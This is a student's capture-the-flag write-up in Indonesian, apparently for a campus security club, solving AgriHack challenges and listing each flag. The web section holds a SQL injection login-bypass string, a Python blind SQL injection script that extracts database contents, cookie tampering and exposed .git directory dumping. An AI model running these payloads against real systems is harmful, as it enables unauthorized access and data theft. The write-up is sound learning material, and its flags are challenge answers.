Anda di halaman 1dari 10

Nama: Saeful Ramadhan

NIM: G64150098 Angkatan: 2015

Bisa kumpul hari?(Selasa, Kamis, Selasa&kamis.) : Selasa , kamis kadang-kadang


Motivasi Ikut CSI : tertarik dengan hal unik seperti ini , ingin mengetahui lebih lanjut apakah
saya cocok di bidang ini atau tidak.

Write Up
BASIC

Robots

yang dimaksud robot pada soal ini yaitu robot.txt yang bisa diakses pada URL
https://challs.agrihack.party/robots.txt , didapatkan link menuju flag "Disallow: /flag-
260516d19070365109bba49f69bfdcb1 kemudian kita buka link
"https://challs.agrihack.party/flag-260516d19070365109bba49f69bfdcb1 maka
didapatkan flag yang dicari.

Flag : AGRI{RoBots_TXT_Is_not_seCurE}

Header

lakukan perintah curl -I "https://challs.agrihack.party" pada terminal ubuntu, flag


terdapat dalam X-Flag

Flag : AGRI{flag_ada_di_header}

Xtract

lakukan proses ekstraksi melalui terminal dengan perintah $~ gzip -d flag.txt.gz ,


kemudian buka file hasil ekstraksi.

Flag : AGRI{gzip_memang_ajib}
So Easy

Extract file kemudian lakukan perintah $ strings soeasy


Flag : AGRI{d3lic1ou5_0m}
Source

Pada website klik kanan, buka view page source , didapatkan flag terdapat pada
komentar website.
Flag : AGRI{komentar_html_bisa_dilihat}
MD5
hash string 'Ilmu Komputer IPB' pada website online hashing.

Flag : AGRI{931a7e3a101f49a14d96e14b61c02e6a}

Base64

Decode string yang diberikan pada terminal linux, perintah


$~ echo -n "YmFzZTY0X0VuY29kaW5nX0RhdGFfQmluYXJ5" | base64 -d

Flag : AGRI{base64_Encoding_Data_Binary}

MD5Crack

Cari website MD5 decrypter yang menyimpan database hasil hashing , website
yang cocok yaitu http://md5decrypt.net/en/ .

Flag : AGRI{MD5_Cracked_by_DB}

Magic Bytes

perbaiki header dan trailer pada file agrihacker.jpg dengan menggunakan hex
editor , header diisi dengan file signature JPG yaitu "FF D8 FF E0 nn nn 4A 46 49 46 00
01 , kemudian save gambar hasil perbaikan. flag terdapat pada gambar

Flag : AGRI{siganture_adalah_jenis_file}
Bash

saya menggunakan script template c++ base64.h untuk melakukan proses


decoding , karena masih belum faham penggunaan if didalam bash pada setiap karakter,
untuk main script nya kira-kira seperti ini :

#include "base64.h"
#include <bits/stdc++.h>
#include <dirent.h>
using namespace std;

int main() {
string s;
DIR *dir;
freopen("output.txt","w",stdout);
struct dirent *ent;
if ((dir = opendir ("/home/saeful/Desktop/soal/")) != NULL) {
while ((ent = readdir (dir)) != NULL) {
s=base64_decode(ent->d_name);
if (s[0]=='A' and s[1]=='G' and s[2]=='R' and s[3]=='I')
cout<<s<<endl;
}
closedir (dir);
return 0;
}

hasil decoding terdapat di dalam output.txt

Flag : AGRI{Bermain_shell_pr00grammingg}

ELF

jalankan kedua ELF file pada terminal linux dengan perintah ./32 dan ./64 dengan
terlebih dulu izinkan permisssion dengan perintah chmod +x 32 dan chmod +x 64
Flag : AGRI{x86_dan_x64_ELF}

Python

Setelah file diextract , edit file python dengan menambahkan perintah print flag
kemudian jalankan pada terminal dengan perintah python python_flag.py

Flag : AGRI{python_is_easy_and_cool}

Backup Files

untuk mendapatkan backup files , tambahkan tanda '~ pada URL didapatkan file
backup index.html

Flag : AGRI{b3awar3ofBackuPf1l3s}

Spectogram

edit file audio.mp3 dengan audacity kemudian pindahkan ke mode spectogram

Flag : AGRI{audio_spectogram}

Sebuah Cerita

Decrypt pesan dengan decrypter cipher online dengan shift 10 , didapatkan nama
belakang yang sudah diganti yaitu xavier

Flag : AGRI{julius_xavier}

Sucip

Decrypt pesan dengan cipher descriptive pada website http://quipqiup.com/ , flag


terdiri dari dua kata yaitu ayam dan bakar

Flag : AGRI{ayam_bakar}
h3h3-gege

mirip seperti soal bash (menggunakan script kode c/c++) , lakukan pengecekan
pada nama file secara berurutan , jika file mengandung kombinasi 2huruf - 2angka -
1huruf - 1angka - 1huruf , output nama file ke output.txt

Flag : AGRI{1231346456345245373565w345t3534123412334271X3yIjf93x0id5lTuHL}

Netcat

lakukan interaksi netcat dengan perintah nc kandang.agrihack.party 30001


jawab pertanyaan yang ditanyakan
Flag : AGRI{netcat_itu_bagai_swiss_army_knifenya_hacker}

Cryptography

Resume
buka file menggunakan hex editor , lihat list of signature dari format .pdf yaitu "25 21 50 53 8-
bit dari 25 yaitu 37 , maka bit pertama pada file yaitu 103 ^ 37 =66, maka pada source code, xor
dengan 66 , maka didapatkan file pdf sebelum didecrypt.

Flag : AGRI{do_y0u_3ven_bruteforce}

Forensic

Portal Agria

extract file tersebut , kemudian buka dengan text editor , cari AGRI pada kolom search ,
ditemukan password berisi string AGRI%7Bgood_password%7D

Flag : AGRI{good_password}

soBig

extract file bz2 lewat terminal yaitu bzip2 -d soBig.bz2 , setelah berhasil di extract , pada
terminal ketikkan perintah strings soBig .

Flag : AGRI{gzip_memang_ajaib}

File Rahasia

foremost file agrihack2017.pdf , kita akan mendapatkan folder jpg,pdf dan zip , ternyata file zip
di lock , untuk mendapatkan password nya , buka agrihack2017.pdf dengan menggunakan hex
editor , kemudian kita mendapatkan pasword yaitu i1n1_p4aasssWo0rd_Ny4 , masukan
password kemudian buka file htmlnya ,kemudian lihat source code , flag terdapat didalam komen
source code
Flag: AGRI{jangan__cuma__lihat__luarnya_aja}

REVERSING

Mundur

buka file dengan IDA pro kemudian generate pseudocode, dari pseudocode kita dapt melihat ada
sesuatu yang dilakukan terhadap variable , terdapat perintah

while ( *v6 )
{
v3 = v6++;
*v3 += 25;
}

ternyata fungsi tersebut menambahkan +25 kepada setiap nilai ASCII dari variabel-variabel

v7 = 40;
v8 = 46;
v9 = 57;
v10 = 48;
v11 = 98;
v12 = 41;
v13 = 26;
v14 = 83;
v15 = 72;
v16 = 49;
v17 = 72;
v18 = 57;
v19 = 70;
v20 = 89;
v21 = 26;
v22 = 61;
v23 = 44;
v24 = 89;
v25 = 58;
v26 = 24;
v27 = 85;
v28 = 78;
v29 = 100;

konversikan nilai dari ASCII diatas ditambah 25 ke char , maka akan didapatkan string
AGRI{B3laJaR_r3VErS1ng}
Flag : AGRI{B3laJaR_r3VErS1ng}

Palsu

Buka kembali dengan IDA Pro , sekilas terlihat terdapat proses XOR terhadap array
dword_201060 , tetapi cukup sulit melihat dengan jelas apa isi array tersebut , salah satu hal
yang bisa dilakukan yaitu export file ke dalam source code c , kemudian ketika dibuka terlihat
apa isi array dword_201060 ,
_DWORD dword_201060[40] =
{
0,
0,
0,
0,
0,
13,
1,
7,
43,
61,
31,
30,
5,
9,
58,
57,
13,
62,
5,
7,
23,
0,
45,
24,
51,
11,
24,
44,
54,
18,
31,
62,
20,
43,
2,
8,
2,
20,
6,
0
}

berdasarkan source code

for ( k = 0; k < v5; ++k )


{
if ( (char)(s[k] ^ v4[k]) != dword_201060[k] )
{
v7 = 0;
break;
}
}

kita dapat membuat program c/c++ yang mengenerate flag yang dimaksud yaitu :

#include <bits/stdc++.h>
using namespace std;
int main(){
int
a[]={0,0,0,0,0,13,1,7,43,61,31,30,5,9,58,57,13,62,5,7,23,0,45,24,51,11,24,44,54,18,31,62,20,43,
2,8,2,20,6,0};
string s = "AGRI{ini_bukan_flagnya_alias_flag_palsu}";
for (int i=0; i<s.length(); i++){
cout<<(char)(s[i]^a[i]);
}
cout<<endl;
}

didapatkan flag yang sebenarnya yaitu : AGRI{dont_judge_a_binary_by_its_strings}

Flag : AGRI{dont_judge_a_binary_by_its_strings}

OGOG

file executable ini ternyata statically linked , artinya akan cukup sulit untuk menelusurinya
karena tidak dapat generate pseudocode dan hal membantu lainnya , hal yang dapat dilakukan
yaitu telusuri setiap perintah pada fungsi , analisis apakah terdapat suatu hal yang janggal ,
ternyata setelah ditelusuri kita mendapati beberapa string base64 aneh pada fungsi main_main
yaitu :

"jRfaXNf"
"h[]A\\A]A^A_"
"YWRhbGFoX3N1YXR1X2VuY29kaW5nfQ"
"J5cHRpb259"
"QUdSSXtiYXNlN"
"bm90X2VuY3"

dari kumpulan string-string aneh tersebut setelah di decode merupakan potongan-potongan dari
flag yang dimaksud , beberapa merupakan string pengecoh. gabungan yang cocok yaitu :

"QUdSSXtiYXNlN"+"jRfaXNf"+"bm90X2VuY3"+"J5cHRpb259" =
AGRI{base64_is_not_encryption}

Flag: AGRI{base64_is_not_encryption}

WEB

Kuki
Sesuai judulnya yaitu kuki (cookie) , maka flag berhubungan dengan modify cookie yang dapat
dilakukan dengan plugin browser , terdapat hint pada web browser yaitu password = md5(admin)
, kemudian buka md5 encryper lalu encrypt ke dalam md5 string admin , masukkan hasil
encrypt dari md5(admin) kedalam kolom cookie editor , lalu kirim kemudian refresh browser ,
didapatkan flag yang dicari.

Flag : AGRI{client_c00kie_bisa_diedit}

AgriLogin

Dari Source code yang diberikan , celah dapat ditembus dengan menggunakan perintah ' or 1=1
limit 1 -- pada username , ketika klik login maka keluar flag yang dicari

Flag : AGRI{injeksi_sql_bikin_jebol_login}

AgriLogin 2

Tidak jauh berbeda dengan AgriLogin 1 , hanya saja kita harus mem-bypass kode javascrip yang
mengahalangi dengan cara terus klik tombol submit walaupun error , kemudian akan ada box
yang menyatakan tidak akan menambah dialog tambahan , ceklist dialog tersebut , klik ok . lalu
kembali klik login

Flag : AGRI{proteksi_client_side_bisa_dibypass}

AgriLogin 3

teknik Blind SQL Injection diperlukan untuk mendapatkan flag yang dicari , langkah pertama
tebak database yang dimaksud pada username box , didapatkan agrilogin3 sebagai database
name. setelah mendapatkan nama database , kita lakukan blind SQL injection , tebak nama table
, ditemukan beberapa nama tabel , kita konsentrasikan ke tabel users karena flag merupakan
password dari username flag (hint didapat dari input SQL manual) , kemudian lakukan
bruteforce dengan binary_search pada username flag , berikut source code nyadalam python :

import requests

url='http://sawah.agrihack.party:40003'
for i in range(1, 10):
lo=1
hi=255
ans=1
while (lo<=hi):
mid=(lo+hi)/2
username = "xyz' OR BINARY substring((SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema ='agrilogin3' ),%d,1)> chr(%d)
LIMIT 1 -- " % (i,mid)
password = ""
status = True
form = {'username' : username, 'password' : password, 'submit' : 'Login'}

response = requests.post(url,data=form)
if 'username/password salah' in response :
hi=mid
else :
lo=mid+1
ans=mid

print chr(ans)
print ans

print ''

setelah menunggu cukup lama didapatkan flag yang dicari.

Flag : AGRI{injeksi_tebak_tebak_karakter}

Si Git

langkah pertama buka link http://agrihack.party:4000/.git/, ternyata forbidden, menandakan


folder exist tetapi tidak dapat diakses , Dengan menggunakan perl /rip-git.pl kita dapat melist
folder apa saja yang terdapat pada http://agrihack.party:4000/.git/ , kemudian kita coba bongkar
folder yang ada , folder object terlihat banyak sekali file yang mencurigakan , kita baca satu-
persatu file git object dengan menggunakan perintah

python -c "import
zlib,sys;print(repr(zlib.decompress(sys.stdin.read())))" <
nama_file
dari hasil penelusuran, ternyata flag terdapat pada file

ee7917662c1e41a4de8061db775588034a5470 , dimana tenryata merupakan file html yang


terdapat flag didalamnya.

Flag : AGRI{jangan_pernah_meninggalkan_folder_git_di_server}

Anda mungkin juga menyukai